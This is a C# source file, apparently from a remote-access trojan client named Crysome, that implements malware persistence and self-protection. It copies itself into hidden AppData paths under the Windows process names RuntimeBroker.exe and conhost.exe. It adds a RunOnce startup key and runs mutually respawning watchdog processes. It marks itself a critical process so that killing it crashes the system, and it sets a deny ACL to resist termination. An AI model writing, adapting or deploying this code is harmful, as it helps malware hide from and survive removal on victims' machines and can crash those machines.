Files
crysome/Crysome.Client/Crysome.Client.Configuration/SelfProtect.cs
T
2026-08-27 11:22:54 -06:00

445 lines
9.0 KiB
C#

using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using Microsoft.Win32;
namespace Crysome.Client.Configuration;
public static class SelfProtect
{
private static FileStream _fileLock;
private static Thread _watchThread;
private static volatile int _watcherPid = -1;
private static string _primaryExeName = "RuntimeBroker.exe";
private static string PrimaryDir => Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft", "Windows");
private static string BackupDir => Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft", "CLR");
internal static string PrimaryExe
{
get
{
return Path.Combine(PrimaryDir, _primaryExeName);
}
set
{
_primaryExeName = Path.GetFileName(value);
}
}
internal static string BackupExe => Path.Combine(BackupDir, "conhost.exe");
public static void RunAsWatcher(int mainPid)
{
try
{
LockOwnFile();
}
catch
{
}
try
{
HidePath(GetCurrentExe());
}
catch
{
}
while (true)
{
Thread.Sleep(2500);
bool flag = false;
try
{
flag = !Process.GetProcessById(mainPid).HasExited;
}
catch
{
flag = false;
}
if (!flag)
{
Thread.Sleep(800);
try
{
RestartFromBestCopy();
}
catch
{
}
}
try
{
EnsureBackups();
}
catch
{
}
}
}
public static bool NeedsRelocation()
{
if (ClientConfiguration.IsHollowed)
{
return false;
}
string currentExe = GetCurrentExe();
if (string.IsNullOrEmpty(currentExe))
{
return false;
}
try
{
return !string.Equals(Path.GetFullPath(currentExe), Path.GetFullPath(PrimaryExe), StringComparison.OrdinalIgnoreCase);
}
catch
{
return true;
}
}
public static bool RelocateAndRelaunch(string[] currentArgs)
{
if (ClientConfiguration.IsHollowed)
{
return false;
}
try
{
string currentExe = GetCurrentExe();
if (string.IsNullOrEmpty(currentExe) || !File.Exists(currentExe))
{
return false;
}
byte[] bytes = File.ReadAllBytes(currentExe);
try
{
Process[] processesByName = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(PrimaryExe));
foreach (Process process in processesByName)
{
try
{
process.Kill();
}
catch
{
}
}
}
catch
{
}
Directory.CreateDirectory(PrimaryDir);
string primaryExe = PrimaryExe;
try
{
File.WriteAllBytes(primaryExe, bytes);
}
catch (IOException)
{
PrimaryExe = Path.Combine(PrimaryDir, "RuntimeBroker_svc.exe");
primaryExe = PrimaryExe;
try
{
File.WriteAllBytes(primaryExe, bytes);
}
catch
{
}
}
HidePath(primaryExe);
Directory.CreateDirectory(BackupDir);
try
{
File.WriteAllBytes(BackupExe, bytes);
}
catch
{
}
HidePath(BackupExe);
string text = "";
if (currentArgs != null)
{
foreach (string text2 in currentArgs)
{
if (!text2.StartsWith("--watcher", StringComparison.OrdinalIgnoreCase))
{
text = text + " " + text2;
}
}
}
Process.Start(new ProcessStartInfo(PrimaryExe, text.Trim())
{
UseShellExecute = false,
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
});
return true;
}
catch (Exception ex2)
{
Program.Log("SelfProtect relocate: " + ex2.Message);
return false;
}
}
public static void Start()
{
if (ClientConfiguration.IsHollowed)
{
Program.Log("SelfProtect: hollowed mode — skipping file ops, watchdog, startup reg");
_watchThread = new Thread(MonitorWatcher)
{
IsBackground = true
};
_watchThread.Start();
return;
}
LockOwnFile();
HidePath(GetCurrentExe());
EnsureBackups();
AddStartupRegistry();
SpawnWatcher();
_watchThread = new Thread(MonitorWatcher)
{
IsBackground = true
};
_watchThread.Start();
Program.Log("SelfProtect: active (watchdog + lock + hidden + startup)");
}
private static void LockOwnFile()
{
try
{
string currentExe = GetCurrentExe();
if (!string.IsNullOrEmpty(currentExe) && File.Exists(currentExe) && _fileLock == null)
{
_fileLock = new FileStream(currentExe, FileMode.Open, FileAccess.Read, FileShare.Read);
}
}
catch
{
}
}
private static void HidePath(string path)
{
if (string.IsNullOrEmpty(path))
{
return;
}
try
{
if (File.Exists(path))
{
File.SetAttributes(path, File.GetAttributes(path) | FileAttributes.Hidden | FileAttributes.System);
}
}
catch
{
}
try
{
string directoryName = Path.GetDirectoryName(path);
if (!string.IsNullOrEmpty(directoryName) && Directory.Exists(directoryName))
{
new DirectoryInfo(directoryName).Attributes |= FileAttributes.Hidden;
}
}
catch
{
}
}
private static void EnsureBackups()
{
string currentExe = GetCurrentExe();
if (!string.IsNullOrEmpty(currentExe) && File.Exists(currentExe))
{
CopyIfMissing(currentExe, PrimaryDir, PrimaryExe);
CopyIfMissing(currentExe, BackupDir, BackupExe);
}
}
private static void CopyIfMissing(string source, string dir, string dest)
{
try
{
if (!File.Exists(dest))
{
Directory.CreateDirectory(dir);
File.Copy(source, dest, overwrite: true);
HidePath(dest);
}
}
catch
{
}
}
private static void AddStartupRegistry()
{
try
{
string text = (File.Exists(PrimaryExe) ? PrimaryExe : GetCurrentExe());
using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", writable: true);
registryKey?.SetValue("RuntimeBroker", "\"" + text + "\"", RegistryValueKind.String);
}
catch
{
}
}
private static void SpawnWatcher()
{
if (ClientConfiguration.IsHollowed)
{
return;
}
try
{
string text = (File.Exists(BackupExe) ? BackupExe : PrimaryExe);
if (File.Exists(text))
{
Process process = Process.Start(new ProcessStartInfo(text, "--watcher " + Process.GetCurrentProcess().Id)
{
UseShellExecute = false,
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
});
if (process != null)
{
_watcherPid = process.Id;
}
}
}
catch
{
}
}
private static void MonitorWatcher()
{
try
{
SetCriticalProcess();
}
catch
{
}
try
{
ProtectProcess();
}
catch
{
}
while (true)
{
Thread.Sleep(3000);
if (_watcherPid <= 0)
{
SpawnWatcher();
continue;
}
bool flag = false;
try
{
flag = !Process.GetProcessById(_watcherPid).HasExited;
}
catch
{
flag = false;
}
if (!flag)
{
_watcherPid = -1;
SpawnWatcher();
}
try
{
EnsureBackups();
}
catch
{
}
}
}
[DllImport("ntdll.dll", SetLastError = true)]
private static extern void RtlSetProcessIsCritical([MarshalAs(UnmanagedType.U1)] bool bNew, [MarshalAs(UnmanagedType.U1)] ref bool pbOld, [MarshalAs(UnmanagedType.U1)] bool bNeedScb);
private static void SetCriticalProcess()
{
try
{
Process.EnterDebugMode();
bool pbOld = false;
RtlSetProcessIsCritical(bNew: true, ref pbOld, bNeedScb: false);
Program.Log("SelfProtect: Critical process set (BSOD on kill)");
}
catch (Exception ex)
{
Program.Log("SelfProtect: Failed to set critical process: " + ex.Message);
}
}
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool SetKernelObjectSecurity(IntPtr Handle, int SecurityInformation, IntPtr SecurityDescriptor);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool ConvertStringSecurityDescriptorToSecurityDescriptor(string StringSecurityDescriptor, uint StringSDRevision, out IntPtr SecurityDescriptor, out uint SecurityDescriptorSize);
private static void ProtectProcess()
{
try
{
IntPtr handle = Process.GetCurrentProcess().Handle;
IntPtr SecurityDescriptor = IntPtr.Zero;
uint SecurityDescriptorSize = 0u;
if (ConvertStringSecurityDescriptorToSecurityDescriptor("D:(D;;0x0001;;;WD)", 1u, out SecurityDescriptor, out SecurityDescriptorSize))
{
SetKernelObjectSecurity(handle, 4, SecurityDescriptor);
}
}
catch
{
}
}
private static void RestartFromBestCopy()
{
string text = null;
if (File.Exists(PrimaryExe))
{
text = PrimaryExe;
}
else if (File.Exists(BackupExe))
{
text = BackupExe;
}
if (text != null)
{
Process.Start(new ProcessStartInfo(text)
{
UseShellExecute = false,
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
});
}
}
private static string GetCurrentExe()
{
return ClientConfiguration.GetProcessPath();
}
}